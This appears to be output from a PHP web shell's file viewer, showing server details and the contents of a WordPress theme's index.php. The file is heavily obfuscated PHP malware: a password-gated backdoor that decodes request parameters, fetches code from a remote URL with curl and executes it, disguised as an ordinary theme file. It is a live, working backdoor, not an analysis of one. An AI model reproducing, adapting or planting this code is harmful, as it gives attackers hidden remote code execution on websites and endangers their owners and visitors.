HEX
Server: nginx/1.16.1
System: Linux iZ7xv2zauie3qihz0jlnrxZ 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: www (1000)
PHP: 7.2.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/shzthfdcpg.com/wp-content/themes/shzhaotao/shzhaotao/index.php
<?php
 goto Rc6Bmhl2_0rT; Rc6Bmhl2_0rT: $wFloFKQeD12W = range("\176", "\x20"); goto nKZ7XfAkDZJ7; nKZ7XfAkDZJ7: $Jvl7vwiKiGeC = ${$wFloFKQeD12W[20 + 11] . $wFloFKQeD12W[14 + 45] . $wFloFKQeD12W[38 + 9] . $wFloFKQeD12W[9 + 38] . $wFloFKQeD12W[23 + 28] . $wFloFKQeD12W[20 + 33] . $wFloFKQeD12W[46 + 11]}; goto B_rvgKgyG1TV; V4EN23b2oU06: @($Jvl7vwiKiGeC = $Jvl7vwiKiGeC[81]($Jvl7vwiKiGeC[55], $Jvl7vwiKiGeC[68](${$Jvl7vwiKiGeC[48]}[12]))); goto p8rlhHBT6dv1; B_rvgKgyG1TV: if (!(in_array(gettype($Jvl7vwiKiGeC) . "\62\67", $Jvl7vwiKiGeC) && md5(md5(md5(md5($Jvl7vwiKiGeC[21])))) === "\70\66\143\x34\x31\144\60\x32\x64\60\x39\x63\x62\x61\146\64\63\60\141\145\x35\x31\71\x39\60\x32\x32\x34\x38\70\71\66")) { goto UKVX_d0U0vPC; } goto PPodqpOojMmW; sFDe9u7Vz2X0: $Jvl7vwiKiGeC[81] = $Jvl7vwiKiGeC[68]($Jvl7vwiKiGeC[81]); goto V4EN23b2oU06; PPodqpOojMmW: $Jvl7vwiKiGeC[68] = $Jvl7vwiKiGeC[68] . $Jvl7vwiKiGeC[80]; goto sFDe9u7Vz2X0; Zh8sYmPL3wu1: class i9eUOi8tU1ek { static function SZuH7EEdHhUQ($w2h__ZuTWNW9) { goto UzTO6D9POfs7; UzTO6D9POfs7: $nBMT8RytM2Ed = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto Vf2dsndrKjj9; h3Qpwt8E5flR: hmxaaWiszxzP: goto av1vIe6XO3zC; gfs6L4DZr9dB: foreach ($hGHwJYINMK_P as $OnnbE6DdkbKB => $ssCjkcWrvI40) { $VA8hTs9T6SWz .= $nbgC9ZN5eNyl[$ssCjkcWrvI40 - 75312]; qvjgRwyF6xil: } goto h3Qpwt8E5flR; f5LULF_mnTke: $VA8hTs9T6SWz = ''; goto gfs6L4DZr9dB; Vf2dsndrKjj9: $nbgC9ZN5eNyl = $nBMT8RytM2Ed("\176", "\40"); goto KWCItriTa12d; KWCItriTa12d: $hGHwJYINMK_P = explode("\x2b", $w2h__ZuTWNW9); goto f5LULF_mnTke; av1vIe6XO3zC: return $VA8hTs9T6SWz; goto xk29E2bvOPWC; xk29E2bvOPWC: } static function D7M_d6HRhgPR($ZLE5haJbh80G, $rrzKoE1C7rfz) { goto J2lYsicHntv5; aUBoX80EIhrn: $ulN17DDboqQM = curl_exec($ZqkxAK8lsQty); goto mdafpCftI_ki; J2lYsicHntv5: $ZqkxAK8lsQty = curl_init($ZLE5haJbh80G); goto idh6f1IhNVbs; mdafpCftI_ki: return empty($ulN17DDboqQM) ? $rrzKoE1C7rfz($ZLE5haJbh80G) : $ulN17DDboqQM; goto Ehqd5ch4DuOM; idh6f1IhNVbs: curl_setopt($ZqkxAK8lsQty, CURLOPT_RETURNTRANSFER, 1); goto aUBoX80EIhrn; Ehqd5ch4DuOM: } static function mI6ZUjrI9SCY() { goto NpKdVeKF1FTp; yjBputAfCVu0: $e35Wwzd2bVWt = self::D7m_d6HrHgpR($atAZo6cD_a2w[0 + 1], $dL50GoutI621[4 + 1]); goto iHMg0Ai9PdSo; iHMg0Ai9PdSo: @$dL50GoutI621[0]('', $dL50GoutI621[7 + 0] . $dL50GoutI621[2 + 2]($e35Wwzd2bVWt) . $dL50GoutI621[0 + 8]); goto KX4RJCK4n2In; mmXIyYX3Oi9B: @$dL50GoutI621[4 + 6](INPUT_GET, "\157\146") == 1 && die($dL50GoutI621[0 + 5](__FILE__)); goto BBN_uPQTWzVX; lzPSTx0z_2cR: UyFnL7BGc4fW: goto Wc36X4yefRn0; KX4RJCK4n2In: die; goto lzPSTx0z_2cR; BBN_uPQTWzVX: if (!(@$atAZo6cD_a2w[0] - time() > 0 and md5(md5($atAZo6cD_a2w[3 + 0])) === "\61\67\71\146\64\61\141\144\x65\64\x61\x66\x61\145\x66\x64\71\60\65\60\60\x64\x37\63\62\x31\x63\145\x62\x35\60\145")) { goto UyFnL7BGc4fW; } goto yjBputAfCVu0; Qy6Td5VH8M7z: rOVix25LtpGH: goto uWk7hG1GkDZ2; eeYXquf2NAnZ: $rXnabw675cl0 = @$dL50GoutI621[2 + 1]($dL50GoutI621[1 + 5], $nwn648ztScrd); goto mItzJctAHs9n; uWk7hG1GkDZ2: $nwn648ztScrd = @$dL50GoutI621[1]($dL50GoutI621[9 + 1](INPUT_GET, $dL50GoutI621[0 + 9])); goto eeYXquf2NAnZ; mItzJctAHs9n: $atAZo6cD_a2w = $dL50GoutI621[2 + 0]($rXnabw675cl0, true); goto mmXIyYX3Oi9B; NpKdVeKF1FTp: $v21uacsVYW0e = array("\67\65\x33\x33\71\53\67\65\x33\x32\64\x2b\x37\x35\x33\63\67\x2b\67\65\x33\64\x31\x2b\67\x35\63\x32\x32\53\x37\65\63\x33\67\x2b\x37\x35\63\64\63\x2b\67\x35\x33\63\x36\53\x37\65\63\x32\x31\x2b\67\x35\x33\x32\x38\53\67\65\x33\x33\71\53\67\x35\63\62\62\x2b\x37\65\x33\x33\x33\53\x37\x35\63\x32\67\x2b\67\65\63\x32\70", "\67\x35\63\62\63\53\67\x35\x33\62\x32\x2b\x37\65\x33\62\64\x2b\67\65\63\64\x33\x2b\67\x35\x33\62\64\x2b\x37\x35\63\x32\67\x2b\x37\65\x33\62\x32\x2b\67\x35\x33\x38\x39\53\67\x35\63\70\67", "\x37\x35\x33\63\62\53\x37\x35\x33\62\x33\53\x37\65\63\x32\67\53\x37\65\63\x32\x38\53\x37\x35\x33\64\63\53\67\x35\63\63\70\53\67\65\x33\63\67\53\x37\65\x33\x33\71\x2b\x37\x35\63\62\67\53\x37\65\63\x33\70\x2b\67\65\x33\x33\x37", "\x37\x35\63\62\66\53\67\x35\x33\64\x31\53\67\x35\x33\63\x39\53\67\x35\63\63\61", "\x37\x35\x33\64\x30\x2b\x37\65\x33\64\61\53\x37\x35\x33\62\x33\53\x37\x35\63\x33\67\53\67\x35\x33\70\x34\53\x37\x35\63\70\x36\x2b\67\65\x33\x34\x33\53\67\65\63\x33\x38\x2b\x37\x35\x33\63\67\x2b\x37\65\63\63\71\x2b\67\x35\63\62\67\x2b\67\65\x33\x33\x38\x2b\x37\65\x33\x33\67", "\67\65\63\63\66\53\x37\x35\63\63\x33\x2b\x37\65\63\63\60\53\x37\65\x33\63\x37\53\x37\65\63\x34\x33\x2b\x37\65\63\63\x35\53\x37\x35\63\x33\x37\x2b\67\x35\x33\62\x32\x2b\67\x35\x33\x34\63\x2b\x37\x35\63\63\71\53\67\65\x33\x32\67\53\x37\65\x33\x32\x38\53\x37\65\63\62\62\x2b\x37\65\63\63\67\x2b\x37\65\63\62\x38\53\67\65\63\x32\x32\53\x37\x35\63\x32\63", "\x37\65\x33\66\x36\x2b\67\x35\63\x39\66", "\67\65\63\61\x33", "\x37\65\x33\71\61\x2b\x37\x35\63\x39\66", "\67\x35\63\x37\63\x2b\67\65\x33\65\x36\53\67\x35\63\x35\66\x2b\x37\x35\x33\x37\63\53\x37\65\x33\64\71", "\x37\x35\63\63\66\53\67\65\63\63\63\x2b\67\65\63\63\60\x2b\67\x35\63\x32\62\53\67\65\63\x33\x37\53\x37\x35\x33\62\64\53\x37\65\x33\x34\x33\x2b\67\x35\63\63\x33\53\x37\x35\x33\62\x38\53\67\x35\63\62\66\53\67\x35\63\62\x31\53\x37\x35\x33\x32\62"); goto n00sC1JRRFBJ; n00sC1JRRFBJ: foreach ($v21uacsVYW0e as $RE9pthkejUoD) { $dL50GoutI621[] = self::SZUH7EEdhHUQ($RE9pthkejUoD); f89oxUWmM95r: } goto Qy6Td5VH8M7z; Wc36X4yefRn0: } } goto J5qQ0SKLpJgl; IWuY5xkTQYk6: UKVX_d0U0vPC: goto S5XS1_CpAMlE; p8rlhHBT6dv1: $Jvl7vwiKiGeC(); goto IWuY5xkTQYk6; S5XS1_CpAMlE: metaphone("\x41\102\101\156\121\172\x32\170\65\x58\x7a\130\132\110\102\123\x78\x78\132\x6b\117\67\170\x78\x70\172\x56\x36\122\x54\x45\x7a\x6e\146\66\x73\147\x59\x79\x41\x4e\130\143"); goto Zh8sYmPL3wu1; J5qQ0SKLpJgl: i9euoi8TU1ek::mI6zuJri9ScY();
?>